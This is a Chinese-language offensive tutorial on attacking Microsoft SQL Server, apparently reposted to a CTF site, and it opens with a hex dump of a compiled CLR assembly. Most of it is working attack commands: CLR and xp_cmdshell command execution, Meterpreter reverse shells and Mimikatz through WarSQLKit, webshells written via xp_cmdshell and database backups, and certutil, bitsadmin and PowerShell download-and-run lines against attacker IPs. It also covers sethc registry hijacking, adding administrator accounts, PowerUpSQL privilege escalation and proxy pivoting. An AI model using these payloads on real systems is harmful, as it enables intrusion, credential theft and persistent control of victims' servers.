6D7373716C5F434C525C6D7373716C5F434C525C6F626A5C44656275675C6D7373716C5F434C522E70646200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000282C00000000000000000000422C0000002000000000000000000000000000000000000000000000342C0000000000000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF250020001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000004C02000000000000000000004C0234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000000000000000000000000000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B004AC010000010053007400720069006E006700460069006C00650049006E0066006F0000008801000001003000300030003000300034006200300000002C0002000100460069006C0065004400650073006300720069007000740069006F006E000000000020000000300008000100460069006C006500560065007200730069006F006E000000000030002E0030002E0030002E00300000003C000E00010049006E007400650072006E0061006C004E0061006D00650000006D007300730071006C005F0043004C0052002E0064006C006C0000002800020001004C006500670061006C0043006F00700079007200690067006800740000002000000044000E0001004F0072006900670069006E0061006C00460069006C0065006E0061006D00650000006D007300730071006C005F0043004C0052002E0064006C006C000000340008000100500072006F006400750063007400560065007200730069006F006E00000030002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000030002E0030002E0030002E0030000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C000000543C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
      WITH PERMISSION_SET = UNSAFE;
    GO
    
  • 创建存储过程
    CREATE PROCEDURE [dbo].[ExecCommand]
    @cmd NVARCHAR (MAX)
    AS EXTERNAL NAME [mssql_CLR].[StoredProcedures].[ExecCommand]
    go
    
  • 利用CLR执行系统命令
exec dbo.ExecCommand "whoami /all";
从0开始学习Microsoft SQL Server数据库攻防
  • CLR 利用工具WarSQLKit

思路和之前利用CLR一样,只是这个工具,功能丰富。搬运README,具体不做赘述。

EXEC sp_cmdExec 'whoami'; => Any Windows command
EXEC sp_cmdExec 'whoami /RunSystemPriv'; => Any Windows command with NT AUTHORITY\SYSTEM rights
EXEC sp_cmdExec '"net user eyup P@ssw0rd1 /add" /RunSystemPriv'; => Adding users with RottenPotato (Kumpir)
EXEC sp_cmdExec '"net localgroup administrators eyup /add" /RunSystemPriv'; => Adding user to localgroup with RottenPotato (Kumpir)
EXEC sp_cmdExec 'powershell Get-ChildItem /RunSystemPS'; => (Powershell) with RottenPotato (Kumpir)
EXEC sp_cmdExec 'sp_meterpreter_reverse_tcp LHOST LPORT GetSystem'; => x86 Meterpreter Reverse Connection with  NT AUTHORITY\SYSTEM
EXEC sp_cmdExec 'sp_x64_meterpreter_reverse_tcp LHOST LPORT GetSystem'; => x64 Meterpreter Reverse Connection with  NT AUTHORITY\SYSTEM
EXEC sp_cmdExec 'sp_meterpreter_reverse_rc4 LHOST LPORT GetSystem'; => x86 Meterpreter Reverse Connection RC4 with  NT AUTHORITY\SYSTEM, RC4PASSWORD=warsql
EXEC sp_cmdExec 'sp_meterpreter_bind_tcp LPORT GetSystem'; => x86 Meterpreter Bind Connection with  NT AUTHORITY\SYSTEM
EXEC sp_cmdExec 'sp_Mimikatz'; 
select * from WarSQLKitTemp => Get Mimikatz Log. Thnks Benjamin Delpy :)
EXEC sp_cmdExec 'sp_downloadFile http://eyupcelik.com.tr/file.exe C:\ProgramData\file.exe 300';  => Download File
EXEC sp_cmdExec 'sp_getSqlHash';  => Get MSSQL Hash
EXEC sp_cmdExec 'sp_getProduct';  => Get Windows Product
EXEC sp_cmdExec 'sp_getDatabases';  => Get Available Database

SQL Server Agent Job 代理执行计划任务利用

https://docs.microsoft.com/en-us/sql/ssms/agent/sql-server-agent?view=sql-server-ver15
SQL Server 代理是一项 Microsoft Windows 服务,它执行计划的管理任务,这些任务在 SQL Server 中称为作业。

  • 启用SQL Server Agent

打开 Sql Server 配置管理器,启用SQL Server 代理,注意Express 版本Sql Server 是无法启用的

  • 创建计划任务
    USE msdb; 
    EXEC dbo.sp_add_job @job_name = N'test_powershell_job1'; 
    EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt', @retry_attempts = 1, @retry_interval = 5 ;EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1'; 
    EXEC dbo.sp_start_job N'test_powershell_job1';
    

SQL Server R和Python的利用

https://docs.microsoft.com/zh-cn/sql/machine-learning/install/sql-r-services-windows-install?view=sql-server-2016
在 SQL Server 2017 及更高版本中,R 与 Python 一起随附在机器学习服务中。该服务允许通过SQL Server中sp_execute_external_script执行Python和R脚本

利用条件:

  • Machine Learning Services必须要在Python安装过程中选择
  • 必须启用外部脚本
    EXEC sp_configure 'external scripts enabled', 1
    RECONFIGURE WITH OVERRIDE
    
  • 重新启动数据库服务器
  • 用户拥有执行任何外部脚本权限

R脚本利用

利用R执行命令:

sp_configure 'external scripts enabled'
GO
EXEC sp_execute_external_script
@language=N'R',
@script=N'OutputDataSet <- data.frame(system("cmd.exe
/c dir",intern=T))'
WITH RESULT SETS (([cmd_out] text));
GO

利用R抓取Net-NTLM哈希:

@script=N'.libPaths("\\\\testhost\\foo\\bar");library("0mgh4x")'

Python脚本利用

Python :

exec sp_execute_external_script 
@language =N'Python',
@script=N'import sys
OutputDataSet = pandas.DataFrame([sys.version])'
WITH RESULT SETS ((python_version nvarchar(max)))

执行命令:

exec sp_execute_external_script 
@language =N'Python',
@script=N'import subprocess
p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE)
OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
WITH RESULT SETS (([cmd_out] nvarchar(max)))

SQL Server GetShell

GetShell首先第一个问题就是寻找路径(网站根目录):

  • 报错寻找
  • 字典猜
  • 旁站信息收集
  • 调用储存过程来搜索
  • 读配置文件

前面介绍存储过程的时候,有xp_subdirs,xp_dirtree可以用来列目录:

execute master..xp_dirtree 'c:' //列出所有c:\文件和目录,子目录 
execute master..xp_dirtree 'c:',1 //只列c:\文件夹 
execute master..xp_dirtree 'c:',1,1 //c:\文件夹加文件

先创建一个临时空表,然后将返回的结果插入到表中,最后查询这个临时表的结果,得到结果。

1;CREATE TABLE tmp (dir varchar(8000),num int,num1 int);
1;insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1

从0开始学习Microsoft SQL Server数据库攻防
可以通过调用xp_cmdshell 执行cmd.exe 利用cmd来寻找web路径:

http://192.168.130.137/1.aspx?id=1;CREATE TABLE cmdtmp (dir varchar(8000));

http://192.168.130.137/1.aspx?id=1;insert into cmdtmp(dir) exec master..xp_cmdshell 'for /r c:\ %i in (sql*.aspx) do @echo %i'
C:\Users\Test>for /r c:\ %i in (sql*.aspx) do @echo %i
c:\inetpub\wwwroot\sqli.aspx
  • xp_cmdshell getshell
id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\inetpub\\wwwroot\\config.aspx' ;
  • 差异备份 getshell

在sql server 里dbo和sa权限都有备份数据库权限,我们可以把数据库备份成asp文件,获得webshell

1. backup database 库名 to disk = 'c:\bak.bak';--

2. create table [dbo].[test] ([cmd] [image]);

3. insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
# <%execute(request("a"))%>
4. backup database 库名 to disk='C:\d.asp' WITH DIFFERENTIAL,FORMAT;--

因为权限的问题,最好不要备份到盘符根目录,如果这种方式失败,大概率是备份的目录没有写权限

当过滤了特殊的字符比如单引号,或者 路径符号 都可以使用定义局部变量来执行。

从0开始学习Microsoft SQL Server数据库攻防
消息 3201,级别 16,状态 1,第 1 行
无法打开备份设备 'C:\inetpub\wwwroot\ddd.bak'。出现操作系统错误 5(拒绝访问。)。
消息 3013,级别 16,状态 1,第 1 行
BACKUP DATABASE 正在异常终止。

1、前提知道绝对路径,路径可写。
2、HTTP 500错误不是自定义
3、WEB和数据在一块。还有的就是数据库中不能存在%号之类的,不然也是不成功的。
4、数据量不能太大

  • LOG备份
1. alter database 库名 set RECOVERY FULL 

2. create table cmd (a image) 

3. backup log 库名 to disk = 'c:\xxx' with init 

4. insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E) 

5. backup log 库名 to disk = 'c:\xxx\2.asp'

优势:
1、重复性好,多次备份的成功率高
2、相对于差异备份而言,shell的体积较小
利用条件:
1、前提得知绝对路径,并且可写
2、站库不分离
3、数据库必须被备份过一次

SQL Server 提权

xp_cmdshell

用xp_cmdshell下载我们的RAT直接拿下数据库 下载文件我们有几个常用的思路如下

  • certutil
  • vbs
  • bitsadmin
  • powershell
  • ftp

上传到一个可读可写的目录

exec master.dbo.xp_cmdshell 'cd c:\www & certutil -urlcache -split -f http://192.168.130.142:80/download/file.exe';

exec master.dbo.xp_cmdshell 'cd c:\www & file.exe';

exec master.dbo.xp_cmdshell 'bitsadmin /transfer n http://192.168.28.128/imag/evil.txt d:\test\1.txt'

exec master.dbo.xp_cmdshell 'powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.28.128/imag/evil.txt','evil.exe')'
exec master.dbo.xp_cmdshell 'powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.28.128/imag/evil.txt'))"'

sp_oacreate

当xp_cmdshell 被删除可以使用这个来提权试试,恢复sp_oacreate

EXEC sp_configure 'show advanced options', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'Ole Automation Procedures', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'show advanced options', 0;

启用后,可以调用cmd来执行命令/写入启动项/粘贴键替换/远程下载Webshell

;DECLARE @B varbinary(8000),@hr int,@http INT,@down INT 
exec sp_oacreate[Microsoft.XMLHTTP],@http output 
EXEC @hr=sp_oamethod @http,[Open],null,[GET],[http://192.168.226.1/shell.txt],0   #远程webshell
EXEC @hr=sp_oamethod @http,[Send],null EXEC @hr=sp_OAGetProperty @http,[responseBody],@B output EXEC @hr=sp_oacreate [ADODB.Stream],@down output 
EXEC @hr=sp_OASetProperty @down,[Type],1
EXEC @hr=sp_OASetProperty @down,[mode],3 EXEC @hr=sp_oamethod @down,[Open],null 
EXEC @hr=sp_oamethod @down,[Write],null,@B EXEC @hr=sp_oamethod @down,[SaveToFile],null,[C:\test\s.aspx],1   #写入位置

xp_regwrite

修改注册表 来劫持粘贴键 当然在2008数据库是不成立的 因为默认权限很低

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution
Options\sethc.EXE','Debugger','REG_SZ','C:\WINDOWS\explorer.exe';

SandBoxMode

1. exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

2. exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'

3. Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Databasec:\windows\system32\ias\ias.mdb','select shell( net user itpro gmasfm /add )');

1,Access可以调用VBS的函数,以System权限执行任意命令
2,Access执行这个命令是有条件的,需要一个开关被打开
3,这个开关在注册表里
4,SA是有权限写注册表的
5,用SA写注册表的权限打开那个开关
6,调用Access里的执行命令方法,以system权限执行任意命令执行SQL命令,执行了以下命令

public

USE msdb
EXEC sp_add_job @job_name = 'GetSystemOnSQL', www.2cto.com
@enabled = 1,
@description = 'This will give a low privileged user access to
xp_cmdshell',
@delete_level = 1
EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',
@step_name = 'Exec my sql',
@subsystem = 'TSQL',
@command = 'exec master..xp_execresultset N''select ''''exec
master..xp_cmdshell "dir > c:\agent-job-results.txt"'''''',N''Master'''
EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',
@server_name = 'SERVER_NAME'
EXEC sp_start_job @job_name = 'GetSystemOnSQL'

PowerUpSQL MSSQL 利用工具使用

PowerUpSQL includes functions that support SQL Server discovery, weak configuration auditing, privilege escalation on scale, and post exploitation actions such as OS command execution. It is intended to be used during internal penetration tests and red team engagements. However, PowerUpSQL also includes many functions that can be used by administrators to quickly inventory the SQL Servers in their ADS domain and perform common threat hunting tasks related to SQL Server.

从0开始学习Microsoft SQL Server数据库攻防

具体功能参照wiki,下面只列举常用的几个
https://github.com/NetSPI/PowerUpSQL/wiki/PowerUpSQL-Cheat-Sheet

PowerUpSQL 安装

  1. 远程下载&安装

这种方式,PowerUpSql模块只存在于当前这个session中,不能持久化,并且可能被ps严格执行的策略限制

IEX(New-Object System.Net.WebClient).DownloadString(“https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1")
从0开始学习Microsoft SQL Server数据库攻防
  1. 模块安装(需system),可以持久化

install-module -name powerupsql
从0开始学习Microsoft SQL Server数据库攻防

从0开始学习Microsoft SQL Server数据库攻防
  1. 上传脚本&导入模块

import-module powerupsql.psd1

  1. CobaltStrike powershell-import 加载

PowerUpSQL 使用

  • 发现本地 SQL Server 实例

Get-SQLInstanceLocal -Verbose

PS C:\Users\Test> Get-SQLInstanceLocal -Verbose


ComputerName       : DMZ-ADMIN
Instance           : DMZ-ADMIN
ServiceDisplayName : SQL Server (MSSQLSERVER)
ServiceName        : MSSQLSERVER
ServicePath        : "C:\Program Files (x86)\Microsoft SQL Server\MSSQL12.MSSQLSERVER\MSSQL\Binn\sqlservr.exe" -sMSSQLS
                     ERVER
ServiceAccount     : NT Service\MSSQLSERVER
State              : Running
  • 发现远程 SQL Server 实例

通过UDP 广播ping探测:Get-SQLInstanceBroadcast -Verbose
通过UDP 端口扫描:Get-SQLInstanceScanUDPThreaded -Verbose -ComputerName SQLServer1

  • 发现 Active Directory 域 SQL Server 实例

通过探测SPN,Get-SQLInstanceDomain -Verbose

PS C:\Users\Test> Get-SQLInstanceDomain -Verbose
详细信息: Grabbing SPNs from the domain for SQL Servers (MSSQL*)...
详细信息: 0 SPNs found.
详细信息: Parsing SQL Server instances from SPNs...
详细信息: 0 instances were f
  • 连接mssql
$Targets = Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 -username sa -password 1QAZ2wsx | Where-Object {$_.Status -like "Accessible"}

$Targets
从0开始学习Microsoft SQL Server数据库攻防
  • 获取mssql / os 版本,sysadmin 信息
$ServerInfo = Get-SQLInstanceDomain | Get-SQLServerInfoThreaded -Verbose -Threads 10
$ServerInfo
从0开始学习Microsoft SQL Server数据库攻防
  • 获取远程sql server 信息

Invoke-SQLDumpInfo -Verbose -Instance Server1\Instance1

  • 提权为 sysadmin

Invoke-SQLEscalatePriv -Verbose -Instance SQLServer1

  • 利用系统账户提权为sa

Invoke-SQLImpersonateService -Verbose -Instance MSSQLSRV04\BOSCHSQL

  • 调用xp_cmdshell存储过程执行系统命令,eXtended Procedure(xp)

$Targets | Invoke-SQLOSCmd -Verbose -Command "Whoami" -Threads 10

  • CLR利用 执行系统命令

$Targets | Invoke-SQLOSCLR -Verbose -Command "Whoami"

  • R/Python 利用
$Targets | Invoke-SQLOSR -Verbose -Command "Whoami"
$Targets | Invoke-SQLOSPython -Verbose -Command "Whoami"
  • Agent Job 代理利用CmdExec,当然还有ps、vbscript,jscript

$Targets | Invoke-SQLOSCmdAgentJob -Verbose -SubSystem CmdExec -Command "echo hello > c:\windows\temp\test1.txt"

  • 脱数据库&审计
    Invoke-SQLDumpInfo -Verbose -Instance DMZ-ADMIN
  • sql server 安全问题审计

Invoke-SQLAudit -Verbose -Instance DMZ-ADMIN

  • AD 域 查找域控

Get-SQLDomainController

  • AD 域查找可利用主机

Get-SQLDomainExploitableSystem

mssqlproxy mssql 代理

在渗透时,遇到防火墙,只允许业务端口,其余端口直连和反连都被禁用时,可以考虑用mssqlproxy搭建代理,突破限制
外国大佬场景为:获取互联网侧服务器权限后,通过信息收集或者常规渗透控制 MSSQL 数据库。防火墙设置规则只允许1433端口通过,无法访问核心服务器,通过 MSSQL 数据库来构造代理,访问内部资源服务。
工具:https://github.com/blackarrowsec/mssqlproxy
文章:
https://xz.aliyun.com/t/7993
https://www.buaq.net/go-22553.html
https://www.blackarrow.net/mssqlproxy-pivoting-clr/

参考资料

https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI/
https://h4ms1k.github.io/Red_Team_MSSQL_Server/#
https://choge.top/2020/03/19/MsSQL%E6%B3%A8%E5%85%A5/
https://sher10ck.com/2019/04/11/mssql-injection/
https://xz.aliyun.com/t/10375
https://xz.aliyun.com/t/9619
https://xz.aliyun.com/t/9475
https://xz.aliyun.com/t/7534
https://www.cnblogs.com/jerrylocker/p/10938899.html
https://docs.microsoft.com/zh-cn/sql/relational-databases/clr-integration/common-language-runtime-clr-integration-programming-concepts?view=sql-server-ver15
https://docs.microsoft.com/zh-cn/sql/tools/bcp-utility?view=sql-server-ver15
https://docs.microsoft.com/es-es/sql/t-sql/functions/openrowset-transact-sql?view=sql-server-ver15
https://lolbas-project.github.io/
https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation/
https://docs.microsoft.com/en-us/sql/tools/osql-utility?view=sql-server-2017
https://docs.microsoft.com/en-us/sql/tools/sqlcmd-utility?view=sql-server-2017
https://y4er.com/post/mssql-getshell/
https://www.cnblogs.com/-qing-/p/10910282.html
https://blog.51cto.com/z2ppp/2064834

 

原文始发于先知社区(IFONLY):从0开始学习Microsoft SQL Server数据库攻防

版权声明:admin 发表于 2022年3月8日 上午9:27。
转载请注明:从0开始学习Microsoft SQL Server数据库攻防 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...